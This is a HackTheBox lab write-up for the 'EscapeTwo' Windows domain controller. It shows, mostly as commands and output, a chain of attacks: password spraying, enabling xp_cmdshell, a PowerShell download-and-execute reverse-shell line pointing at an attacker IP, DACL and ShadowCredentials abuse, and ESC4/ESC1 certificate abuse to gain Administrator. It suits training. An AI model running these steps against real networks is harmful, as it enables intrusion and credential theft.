Post

EscapeTwo

EscapeTwo

Summary

EscapeTwo is an easy HackTheBox machine that focuses on a Windows Active Directory environment exploitation.

We started off with a nmap scan to enumerate the services running on the target machine, which revealed that it is a Windows domain controller for the sequel.htb domain. We then enumerated the smb shares and found some interesting files, including a spreasheet file that we used to perform a password spray against the target and find a pair of valid credentials. After gaining access to the mssql administrator user, letting us execute commands on the target machine and getting an initial foothold on the server.

From there, we were able to escalate our privileges by finding reused passwords from a configuration file. From this new user, we abused a the DACL permissions to escalate our privileges from WriteOwner permissions by giving us GenericAll permissions over this other user, which allowed us to perform a ShadowCredentials attack and gain access to the target machine as this other user.

Finally, from this last user, we were able to perform a ESC4 attack to gain access to the target machine as the Administrator.


Nmap

1
2
3
4
5
6
7
8
9
10
11
12
53/tcp    open  domain        syn-ack Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack Microsoft Windows Kerberos (server time: 2025-05-25 03:44:34Z)
135/tcp   open  msrpc         syn-ack Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack
464/tcp   open  kpasswd5?     syn-ack
593/tcp   open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      syn-ack Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
1433/tcp  open  ms-sql-s      syn-ack Microsoft SQL Server 2019 15.00.2000.00; RTM
3268/tcp  open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
5985/tcp  open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

The presence of DNS, LDAP and Kerberos services indicates that this is a Windows domain controller for the sequel.htb domain. We see a MS SQL Server running on port 1433, which is a potential target for privilege escalation vectors. Besides that, we can enumerate more about the domain from the ldap and smb protocols

(445) - SMB

SMB Enumeration

Running the nxc tool, we can enumerate the shares on the target machine. I have added the given username, password, IP and domain as environment variables.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
nxc smb $IP -u $USERAD -p $PASS --shares

SMB         10.10.11.51     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.51     445    DC01             [+] sequel.htb\rose:KxEPkKe6R8su
SMB         10.10.11.51     445    DC01             [*] Enumerated shares
SMB         10.10.11.51     445    DC01             Share           Permissions     Remark
SMB         10.10.11.51     445    DC01             -----           -----------     ------
SMB         10.10.11.51     445    DC01             Accounting Department READ
SMB         10.10.11.51     445    DC01             ADMIN$                          Remote Admin
SMB         10.10.11.51     445    DC01             C$                              Default share
SMB         10.10.11.51     445    DC01             IPC$            READ            Remote IPC
SMB         10.10.11.51     445    DC01             NETLOGON        READ            Logon server share
SMB         10.10.11.51     445    DC01             SYSVOL          READ            Logon server share
SMB         10.10.11.51     445    DC01             Users           READ

To quickly enumerate the files on the readable shares, we can use the spider_plus module from nxc, this will spider every file and folder, saving the result on a json file.

1
nxc smb $FQDN -u $USERAD -p $PASS -M spider_plus -o EXCLUDE_FILTER='print$','ipc$','SYSVOL','NETLOGON' OUTPUT_FOLDER="$(pwd)/smb"

Command Breakdown:

  • -M spider_plus: This module will spider the shares.
  • -o EXCLUDE_FILTER='print$','ipc$','SYSVOL','NETLOGON': This will exclude the specified shares, even though SYSVOL and NETLOGON could be useful for enumeration and exploitation, they are default shares and we are not interested in them for now.
  • OUTPUT_FOLDER="$(pwd)/smb": This will save the output in the current directory under the smb folder.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
SMB         10.10.11.51     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.51     445    DC01             [+] sequel.htb\rose:KxEPkKe6R8su
SPIDER_PLUS 10.10.11.51     445    DC01             [*] Started module spidering_plus with the following options:
SPIDER_PLUS 10.10.11.51     445    DC01             [*]  DOWNLOAD_FLAG: False
SPIDER_PLUS 10.10.11.51     445    DC01             [*]     STATS_FLAG: True
SPIDER_PLUS 10.10.11.51     445    DC01             [*] EXCLUDE_FILTER: ['print$', 'ipc$', 'sysvol', 'netlogon']
SPIDER_PLUS 10.10.11.51     445    DC01             [*]   EXCLUDE_EXTS: ['ico', 'lnk']
SPIDER_PLUS 10.10.11.51     445    DC01             [*]  MAX_FILE_SIZE: 50 KB
SPIDER_PLUS 10.10.11.51     445    DC01             [*]  OUTPUT_FOLDER: /home/h4z4rd0u5/smb
SMB         10.10.11.51     445    DC01             [*] Enumerated shares
SMB         10.10.11.51     445    DC01             Share           Permissions     Remark
SMB         10.10.11.51     445    DC01             -----           -----------     ------
SMB         10.10.11.51     445    DC01             Accounting Department READ
SMB         10.10.11.51     445    DC01             ADMIN$                          Remote Admin
SMB         10.10.11.51     445    DC01             C$                              Default share
SMB         10.10.11.51     445    DC01             IPC$            READ            Remote IPC
SMB         10.10.11.51     445    DC01             NETLOGON        READ            Logon server share
SMB         10.10.11.51     445    DC01             SYSVOL          READ            Logon server share
SMB         10.10.11.51     445    DC01             Users           READ
SPIDER_PLUS 10.10.11.51     445    DC01             [+] Saved share-file metadata to "/home/h4z4rd0u5/smb/10.10.11.51.json".
SPIDER_PLUS 10.10.11.51     445    DC01             [*] SMB Shares:           7 (Accounting Department, ADMIN$, C$, IPC$, NETLOGON, SYSVOL, Users)
SPIDER_PLUS 10.10.11.51     445    DC01             [*] SMB Readable Shares:  5 (Accounting Department, IPC$, NETLOGON, SYSVOL, Users)
SPIDER_PLUS 10.10.11.51     445    DC01             [*] SMB Filtered Shares:  3
SPIDER_PLUS 10.10.11.51     445    DC01             [*] Total folders found:  48
SPIDER_PLUS 10.10.11.51     445    DC01             [*] Total files found:    61
SPIDER_PLUS 10.10.11.51     445    DC01             [*] File size average:    25.85 KB
SPIDER_PLUS 10.10.11.51     445    DC01             [*] File size min:        0 B
SPIDER_PLUS 10.10.11.51     445    DC01             [*] File size max:        512 KB

SMB File Enumeration

1
cat smb/10.10.11.51.json | jq '. | map_values(keys)' | grep -v 'lnk\|ini'

jq Command Breakdown:

  • map_values(keys): This will map the values of the json, iterating over each object and returning only the keys (top level).
  • grep -v 'lnk\|ini': This will exclude the files with the extensions lnk and ini, which are not of interest for now and there are a lot of them.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
{
  "Accounting Department": [
    "accounting_2024.xlsx",
    "accounts.xlsx"
  ],
  "Users": [
    "Default/AppData/Local/Microsoft/Windows/Shell/DefaultLayouts.xml",
    "Default/AppData/Roaming/Microsoft/Windows/SendTo/Compressed (zipped) Folder.ZFSendToTarget",
    "Default/AppData/Roaming/Microsoft/Windows/SendTo/Desktop (create shortcut).DeskLink",
    "Default/AppData/Roaming/Microsoft/Windows/SendTo/Mail Recipient.MAPIMail",
    "Default/NTUSER.DAT",
    "Default/NTUSER.DAT.LOG1",
    "Default/NTUSER.DAT.LOG2",
    "Default/NTUSER.DAT{1c3790b4-b8ad-11e8-aa21-e41d2d101530}.TM.blf",
    "Default/NTUSER.DAT{1c3790b4-b8ad-11e8-aa21-e41d2d101530}.TMContainer00000000000000000001.regtrans-ms",
    "Default/NTUSER.DAT{1c3790b4-b8ad-11e8-aa21-e41d2d101530}.TMContainer00000000000000000002.regtrans-ms",
  ]
}

From the output, we can see that there are two files of interest in the Accounting Department share, especially the accounts.xlsx file, which could contain sensitive information. With that information, we can retrieve the file using the smbclient command.

1
2
3
4
5
6
7
smbclient -U $USERAD "//$IP/Accounting Department/"
Password for [WORKGROUP\rose]:

Try "help" to get a list of possible commands.
smb: \> get accounts.xlsx
getting file \accounts.xlsx of size 6780 as accounts.xlsx (6.4 KiloBytes/sec) (average 6.4 KiloBytes/sec)
smb: \> exit

Trying to open the file with libreoffice or xlsx2csv will not work, as the file is corrupted. We can try to extract the contents of the file using the unzip binary, since xlsx files are basically just zip files for xml files.

NON

I listed the files with 7z beforehand:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
7z l accounts.xlsx

7-Zip 24.09 (x64) : Copyright (c) 1999-2024 Igor Pavlov : 2024-11-29
 64-bit locale=en_US.UTF-8 Threads:12 OPEN_MAX:1024, ASM

Scanning the drive for archives:
1 file, 6780 bytes (7 KiB)

Listing archive: accounts.xlsx

--
Path = accounts.xlsx
Warning: The archive is open with offset
Type = zip
Physical Size = 6780

   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2024-06-09 10:47:44 .....          681          224  xl/_rels/workbook.xml.rels
2024-06-09 10:47:44 .....          878          503  xl/workbook.xml
2024-06-09 10:47:44 .....         2257          542  xl/theme/theme1.xml
2024-06-09 10:47:44 .....         5593          706  xl/styles.xml
2024-06-09 10:47:44 .....          798          224  xl/worksheets/_rels/sheet1.xml.rels
2024-06-09 10:47:44 .....         4165         1252  xl/worksheets/sheet1.xml
2024-06-09 10:47:44 .....         1271          340  xl/sharedStrings.xml
2024-06-09 10:47:44 .....          718          238  _rels/.rels
2024-06-09 10:47:44 .....          731          356  docProps/core.xml
2024-06-09 10:47:44 .....          441          271  docProps/app.xml
2024-06-09 10:47:44 .....          241          151  docProps/custom.xml
2024-06-09 10:47:44 .....         1735          379  [Content_Types].xml
------------------- ----- ------------ ------------  ------------------------
2024-06-09 10:47:44              19509         5186  12 files

The file xl/sharedStrings.xml contains the strings used in the spreadsheet, which is where we will find potentially sensitive information. We can extract the file using either unzip or 7z:

1
2
3
4
5
unzip accounts.xlsx xl/sharedStrings.xml

Archive:  accounts.xlsx
  inflating: xl/sharedStrings.xml

1
2
3
ls
 accounts.xlsx   xl

1
2
3
4
cat xl/sharedStrings.xml

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="25" uniqueCount="24"><si><t xml:space="preserve">First Name</t></si><si><t xml:space="preserve">Last Name</t></si><si><t xml:space="preserve">Email</t></si><si><t xml:space="preserve">Username</t></si><si><t xml:space="preserve">Password</t></si><si><t xml:space="preserve">Angela</t></si><si><t xml:space="preserve">Martin</t></si><si><t xml:space="preserve">angela@sequel.htb</t></si><si><t xml:space="preserve">angela</t></si><si><t xml:space="preserve"><REDACTED></t></si><si><t xml:space="preserve">Oscar</t></si><si><t xml:space="preserve">Martinez</t></si><si><t xml:space="preserve">oscar@sequel.htb</t></si><si><t xml:space="preserve">oscar</t></si><si><t xml:space="preserve"><REDACTED></t></si><si><t xml:space="preserve">Kevin</t></si><si><t xml:space="preserve">Malone</t></si><si><t xml:space="preserve">kevin@sequel.htb</t></si><si><t xml:space="preserve">kevin</t></si><si><t xml:space="preserve"><REDACTED></t></si><si><t xml:space="preserve">NULL</t></si><si><t xml:space="preserve">sa@sequel.htb</t></si><si><t xml:space="preserve">sa</t></si><si><t xml:space="preserve"><REDACTED></t></si></sst>%

To make it easier to parse the file, we can use xmllint to format the xml file and then use grep and sed to extract the strings.

1
xmllint --format xl/sharedStrings.xml  | grep "<t" | sed -E 's/<\/?t[^>]*>//g' | sed 's/\s//g' | paste  -d'|' - - - - -

Command Breakdown:

  • xmllint --format xl/sharedStrings.xml: This will format the xml file, making it easier to read.
  • grep "<t": This will filter the lines that contain the <t> tag, which contains the strings.
  • sed -E 's/<\/?t[^>]*>//g': This will remove the <t> and </t> tags from the output, because <\/?t[^>]*> will match any tag that starts with <t or </t and ends with >, including the closing tag.
  • sed 's/\s//g': This will remove any whitespace from the output.
  • paste -d'|' - - - -: This will paste the output in columns, using | as the delimiter.
1
2
3
4
5
FirstName|LastName|Email|Username|Password
Angela|Martin|angela@sequel.htb|angela|<REDACTED>
Oscar|Martinez|oscar@sequel.htb|oscar|<REDACTED>
Kevin|Malone|kevin@sequel.htb|kevin|<REDACTED>
NULL|sa@sequel.htb|sa|<REDACTED>|

Since we have more passwords now, we can try password spraying against the previous users we found. We can use kerbrute to do this, as it is a great tool for password spraying against Kerberos. We could also use nxc to do this, but kerbrute is more efficient and faster.

1
2
3
4
5
while IFS= read -r user; do
while IFS= read -r password; do
echo "${user}:${password}" >> user_pass
done < passwords
done < users

Since we need a list on the format username:password, for kerbrute we can use a simple while loop to iterate over the users and passwords, creating a new file called user_pass with the format username:password. Command Breakdown:

  • while IFS= read -r user; do: This will read the users from the users file, one by one.
  • while IFS= read -r password; do: This will read the passwords from the passwords file, one by one.
  • echo "${user}:${password}" >> user_pass: This will append the username and password to the user_pass file, in the format username:password.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
kerbrute bruteforce --dc $IP -d $DOMAIN ./user_pass

    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: dev (n/a) - 05/25/25 - Ronnie Flathers @ropnop

2025/05/25 18:41:37 >  Using KDC(s):
2025/05/25 18:41:37 >   10.10.11.51:88

2025/05/25 18:41:38 >  [+] VALID LOGIN:  oscar@sequel.htb:<REDACTED>
2025/05/25 18:41:39 >  Done! Tested 36 logins (1 successes) in 2.197 seconds

Or with nxc:

1
2
3
4
5
6
7
nxc smb $FQDN -u users -p passwords --continue-on-success

SMB         10.10.11.51     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
<SNIP>
SMB         10.10.11.51     445    DC01             [+] sequel.htb\oscar:<REDACTED>
<SNIP>
48.476 total

We can see that the kerbrute took 2.97 seconds while nxc took 48.476

We now have a valid user and password for the oscar user, since oscar is not member of any interesting group.

1
2
3
4
5
6
7
nxc ldap $FQDN -u $USERAD -p $PASS -M groupmembership -o USER=oscar

LDAP        10.10.11.51     389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb)
LDAP        10.10.11.51     389    DC01             [+] sequel.htb\rose:KxEPkKe6R8su
GROUPMEM... 10.10.11.51     389    DC01             [+] User: oscar is member of following groups:
GROUPMEM... 10.10.11.51     389    DC01             Accounting Department
GROUPMEM... 10.10.11.51     389    DC01             Domain Users

But since there is a mssql server running on the target machine, and we found credentials for the sa user, we can try to use the sa user to connect to the server:

1
2
3
4
5
6
7
8
nxc mssql $FQDN -u sa -p '<REDACTED>'

MSSQL       10.10.11.51     1433   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb)
MSSQL       10.10.11.51     1433   DC01             [-] sequel.htb\sa:<REDACTED> (Login failed. The login is from an untrusted domain and cannot be used with Integrated authentication. Please try again with or without '--local-auth')

nxc mssql $FQDN -u sa -p '<REDACTED>' --local-auth
MSSQL       10.10.11.51     1433   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb)
MSSQL       10.10.11.51     1433   DC01             [+] DC01\sa:<REDACTED> (Pwn3d!)

We need to use the --local-auth flag because the sa user is a local user, not a domain user. The sa user is the default system administrator account for SQL Server, and it has full control over the SQL Server instance.

And we have access to the mssql server with the sa user. We can now use nxc to run commands on the target machine by enabling xp_cmdshell, which is a stored procedure that allows us to run commands on the target machine.

1
2
3
4
5
6
nxc mssql $FQDN -u sa -p '<REDACTED>' --local-auth -M enable_cmdshell -o ACTION=enable

[*] Ignore OPSEC in configuration is set and OPSEC unsafe module loaded
MSSQL       10.10.11.51     1433   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb)
MSSQL       10.10.11.51     1433   DC01             [+] DC01\sa:<REDACTED> (Pwn3d!)
ENABLE_C... 10.10.11.51     1433   DC01             [+] xp_cmdshell successfully enabled.

And we can confirm code execution with the whoami command:

1
2
3
4
5
6
nxc mssql $FQDN -u sa -p '<REDACTED>' --local-auth -x "whoami"

MSSQL       10.10.11.51     1433   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb)
MSSQL       10.10.11.51     1433   DC01             [+] DC01\sa:<REDACTED> (Pwn3d!)
MSSQL       10.10.11.51     1433   DC01             [+] Executed command via mssqlexec
MSSQL       10.10.11.51     1433   DC01             sequel\sql_svc

With command execution on the target machine, we can now run a powershell reverse TCP from nishang, and we get access to the target host:

NON

We could also have done this step manually from the mssqlclient.py from impacket:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
mssqlclient.py $DOMAIN/sa:'<REDACTED>'@$FQDN

<SNIP>

SQL (sa  dbo@master)> xp_cmdshell
ERROR(DC01\SQLEXPRESS): Line 1: SQL Server blocked access to procedure 'sys.xp_cmdshell' of component 'xp_cmdshell' because this component is turned off as part of the security configuration for this server. A system administrator can enable the use of 'xp_cmdshell' by using sp_configure. For more information about enabling 'xp_cmdshell', search for 'xp_cmdshell' in SQL Server Books Online.

SQL (sa  dbo@master)> EXEC sp_configure 'show advanced options', 1
INFO(DC01\SQLEXPRESS): Line 185: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
SQL (sa  dbo@master)> RECONFIGURE

SQL (sa  dbo@master)> EXEC sp_configure 'xp_cmdshell', 1
INFO(DC01\SQLEXPRESS): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (sa  dbo@master)> RECONFIGURE

SQL (sa  dbo@master)> xp_cmdshell "whoami"
output
--------------
sequel\sql_svc

mssqlclient.py can automate this process with the enable_xp_cmdshell command

1
2
3
4
5
6
SQL (sa  dbo@master)> enable_xp_cmdshell
INFO(DC01\SQLEXPRESS): Line 185: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
INFO(DC01\SQLEXPRESS): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.

SQL (sa  dbo@master)> xp_cmdshell "powershell -Command IEX(New-Object Net.WebClient).DownloadString(\"http://10.10.14.27:8000/test\")"
S

NON

Horizontal Privilege Escalation

From the SQL2019 folder found at the root folder of the system, we can find another password on the sql-Configuration.INI file, which is used to configure the SQL Server installation.

1
2
3
4
PS C:\SQL2019\ExpressAdv_ENU> type sql-Configuration.INI
<SNIP>
SQLSVCPASSWORD="<REDACTED>"
SAPWD="<REDACTED>"

Doing another password spray with the newly found password, we can find that ther user ryan uses the same password.

1
2
3
4
5
nxc smb $FQDN -u users -p $(cat passwords | tail -n1)

SMB         10.10.11.51     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
<SNIP>
SMB         10.10.11.51     445    DC01             [+] sequel.htb\ryan:<REDACTED>

BloodHound

We can use bloodhound to enumerate the privileges of the ryan user. We can use the SharpHound tool to do this locally, since ryan has WinRM privileges over the machine, or we could do it remotely using rusthound-ce

1
rusthound-ce -u "ryan" -p "<REDACTED>" -f "$FQDN" -d "$DOMAIN" -n "$IP" -c All -z

Looking at the bloodhound graph, we can see that the user ca_svc is an important target because it is possible to take vantage of the ESC4 with him. To reach this target, we see that the user ryan has WriteOwner permissions on this user, which means that we can set the object owner to ryan and then give GenericAll permissions to the ryan user over the ca_svc user and then perform a ShadowCredentials attack (or many others like force password, targeted kerberoast).

NON

We can do this with the owneredit.py from impacket:

1
2
3
4
5
6
7
8
9
owneredit.py -new-owner ryan -target ca_svc -action write "$DOMAIN/ryan:<REDACTED>"

Impacket v0.13.0.dev0+20250523.184829.f2f2b367 - Copyright Fortra, LLC and its affiliated companies

[*] Current owner information below
[*] - SID: S-1-5-21-548670397-972687484-3496335370-512
[*] - sAMAccountName: Domain Admins
[*] - distinguishedName: CN=Domain Admins,CN=Users,DC=sequel,DC=htb
[*] OwnerSid modified successfully!

Now we can set the GenericAll permissions to the ryan user over the ca_svc user:

1
2
3
4
5
6
dacledit.py -action 'write' -rights 'FullControl' -principal 'ryan' -target 'ca_svc' "$DOMAIN/ryan:<REDACTED>"

Impacket v0.13.0.dev0+20250523.184829.f2f2b367 - Copyright Fortra, LLC and its affiliated companies

[*] DACL backed up to dacledit-20250525-200653.bak
[*] DACL modified successfully!

We can now perform a ShadowCredentials attack, which is possible to add “Key Credentials” to the attribute msDS-KeyCredentialLink of the target user/computer object and then perform Kerberos authentication as that account using PKINIT.

Impacket error

Here I’ve stumbled upon an error which I had seen in many other tools that used the ldap3 library, the unsupported hash type MD4

1
2
3
pywhisker -d "$DOMAIN" -u "ryan" -p "<REDACTED>" --target "ca_svc" --action "add"

[!] unsupported hash type MD4

From this post ldap3/issues, I’ve found that the workaround was to install the pycryptodome (or add this to the requirements.txt file). After installing this package, the command ran without problems

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
pywhisker -d "$DOMAIN" -u "ryan" -p "<REDACTED>" --target "ca_svc" --action "add"

[*] Searching for the target account
[*] Target user found: CN=Certification Authority,CN=Users,DC=sequel,DC=htb
[*] Generating certificate
[*] Certificate generated
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID: 330d8f4f-de77-cbbb-adac-81a9a2651be1
[*] Updating the msDS-KeyCredentialLink attribute of ca_svc
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[*] Converting PEM -> PFX with cryptography: Ktbabwrq.pfx
[+] PFX exportiert nach: Ktbabwrq.pfx
[i] Passwort für PFX: B9gwqRARVxFWItyHJtCB
[+] Saved PFX (#PKCS12) certificate & key at path: Ktbabwrq.pfx
[*] Must be used with password: B9gwqRARVxFWItyHJtCB
[*] A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools

gettgtpkinit -cert-pfx TanfQnvE.pfx  -pfx-pass KqH6jXJumKaPZvc9kgRC "$DOMAIN/ca_svc" ca_svc.ccache

2025-05-26 00:58:29,813 minikerberos INFO     Loading certificate and key from file
INFO:minikerberos:Loading certificate and key from file
2025-05-26 00:58:29,835 minikerberos INFO     Requesting TGT
INFO:minikerberos:Requesting TGT
2025-05-26 00:58:46,416 minikerberos INFO     AS-REP encryption key (you might need this later):
INFO:minikerberos:AS-REP encryption key (you might need this later):
2025-05-26 00:58:46,417 minikerberos INFO     cc7040891381fbdb8c5870aae76b1628d8baf97fa95f95432cf7de042ae6200c
INFO:minikerberos:cc7040891381fbdb8c5870aae76b1628d8baf97fa95f95432cf7de042ae6200c
2025-05-26 00:58:46,426 minikerberos INFO     Saved TGT to file
INFO:minikerberos:Saved TGT to file

And we can authenticate using the generated TGT. Another tool (and even faster because it already tries to get the TGT ) is using the certipy shadow auto

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
certipy shadow \
    -u 'ryan' -p '<REDACTED>' \
    -dc-ip "$IP" -account 'ca_svc' \
    auto
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Targeting user 'ca_svc'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '941f7c7f-1e9c-905d-2334-ebe1eebc29ad'
[*] Adding Key Credential with device ID '941f7c7f-1e9c-905d-2334-ebe1eebc29ad' to the Key Credentials for 'ca_svc'
[*] Successfully added Key Credential with device ID '941f7c7f-1e9c-905d-2334-ebe1eebc29ad' to the Key Credentials for 'ca_svc'
[*] Authenticating as 'ca_svc' with the certificate
[*] Certificate identities:
[*]     No identities found in this certificate
[*] Using principal: 'ca_svc@sequel.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'ca_svc.ccache'
[*] Wrote credential cache to 'ca_svc.ccache'
[*] Trying to retrieve NT hash for 'ca_svc'
[*] Restoring the old Key Credentials for 'ca_svc'
[*] Successfully restored the old Key Credentials for 'ca_svc'
[*] NT hash for 'ca_svc': <REDACTED>

From the ca_svc we can start to enumerate the ADCS for the server.

Privilege Escalation With ADCS - ESC4/ESC1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
certipy find -u 'ca_svc@sequel.htb' -hashes '<REDACTED>' -vulnerable -stdout

Certipy v5.0.2 - by Oliver Lyak (ly4k)

<SNIP>
Certificate Authorities
  0
    CA Name                             : sequel-DC01-CA
    DNS Name                            : DC01.sequel.htb
    Certificate Subject                 : CN=sequel-DC01-CA, DC=sequel, DC=htb
    Certificate Serial Number           : 152DBD2D8E9C079742C0F3BFF2A211D3
    Certificate Validity Start          : 2024-06-08 16:50:40+00:00
    Certificate Validity End            : 2124-06-08 17:00:40+00:00
    Web Enrollment
      HTTP
        Enabled                         : False
      HTTPS
        Enabled                         : False
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Active Policy                       : CertificateAuthority_MicrosoftDefault.Policy
    Permissions
      Owner                             : SEQUEL.HTB\Administrators
      Access Rights
        ManageCa                        : SEQUEL.HTB\Administrators
                                          SEQUEL.HTB\Domain Admins
                                          SEQUEL.HTB\Enterprise Admins
        ManageCertificates              : SEQUEL.HTB\Administrators
                                          SEQUEL.HTB\Domain Admins
                                          SEQUEL.HTB\Enterprise Admins
        Enroll                          : SEQUEL.HTB\Authenticated Users
Certificate Templates
  0
    Template Name                       : DunderMifflinAuthentication
    Display Name                        : Dunder Mifflin Authentication
    Certificate Authorities             : sequel-DC01-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : False
    Certificate Name Flag               : SubjectAltRequireDns
                                          SubjectRequireCommonName
    Enrollment Flag                     : PublishToDs
                                          AutoEnrollment
    Extended Key Usage                  : Client Authentication
                                          Server Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 2
    Validity Period                     : 1000 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2025-05-25T20:21:28+00:00
    Template Last Modified              : 2025-05-25T20:21:28+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : SEQUEL.HTB\Domain Admins
                                          SEQUEL.HTB\Enterprise Admins
      Object Control Permissions
        Owner                           : SEQUEL.HTB\Enterprise Admins
        Full Control Principals         : SEQUEL.HTB\Domain Admins
                                          SEQUEL.HTB\Enterprise Admins
                                          SEQUEL.HTB\Cert Publishers
        Write Owner Principals          : SEQUEL.HTB\Domain Admins
                                          SEQUEL.HTB\Enterprise Admins
                                          SEQUEL.HTB\Cert Publishers
        Write Dacl Principals           : SEQUEL.HTB\Domain Admins
                                          SEQUEL.HTB\Enterprise Admins
                                          SEQUEL.HTB\Cert Publishers
        Write Property Enroll           : SEQUEL.HTB\Domain Admins
                                          SEQUEL.HTB\Enterprise Admins
    [+] User Enrollable Principals      : SEQUEL.HTB\Cert Publishers
    [+] User ACL Principals             : SEQUEL.HTB\Cert Publishers
    [!] Vulnerabilities
      ESC4                              : User has dangerous permissions.

We found out that there is a template vulnerable to ESC4, which lets us to write to the template and make it vulnerable to an ESC1 attack, the steps are as follows:

Write to the template

1
2
3
4
5
6
7
8
9
10
11
12
13
certipy template \
    -u 'ca_svc@sequel.htb' -hashes '<REDACTED>' \
    -dc-ip "$IP" -template 'DunderMifflinAuthentication' \
    -write-default-configuration
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Saving current configuration to 'DunderMifflinAuthentication.json'
[*] Wrote current configuration for 'DunderMifflinAuthentication' to 'DunderMifflinAuthentication_9781220a-0dcf-479a-86b9-bfcc9ea97ee2.json'
[*] Updating certificate template 'DunderMifflinAuthentication'
[*] Replacing:
<SNIP>
Are you sure you want to apply these changes to 'DunderMifflinAuthentication'? (y/N): y
[*] Successfully updated 'DunderMifflinAuthentication'

If we run the find command again, we will see that the template is now vulnerable to ESC1

1
2
3
4
5
<SNIP>
    [!] Vulnerabilities
      ESC1                              : Enrollee supplies subject and template allows client authentication.
      ESC4                              : User has dangerous permissions.
<SNIP>

Now, we can perform the ESC1 attack by requesting the certificate with the upn from the administrator

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
certipy req \
    -u 'ca_svc@sequel.htb' -hashes '<REDACTED>' \
    -dc-ip "$IP" -target "$FQDN" \
    -ca 'sequel-DC01-CA' -template 'DunderMifflinAuthentication' \
    -upn 'administrator@sequel.htb' 

Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Request ID is 7
[*] Successfully requested certificate
[*] Got certificera pra moate with UPN 'administrator@sequel.htb'
[*] Certificate object SID is 'S-1-5-21-548670397-972687484-3496335370-500'
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'

We could use the generated ticket to authenticate, or get the hash from the certipy auth command:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
certipy auth -pfx 'administrator.pfx' -dc-ip $IP

Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'administrator@sequel.htb'
[*]     SAN URL SID: 'S-1-5-21-548670397-972687484-3496335370-500'
[*]     Security Extension SID: 'S-1-5-21-548670397-972687484-3496335370-500'
[*] Using principal: 'administrator@sequel.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
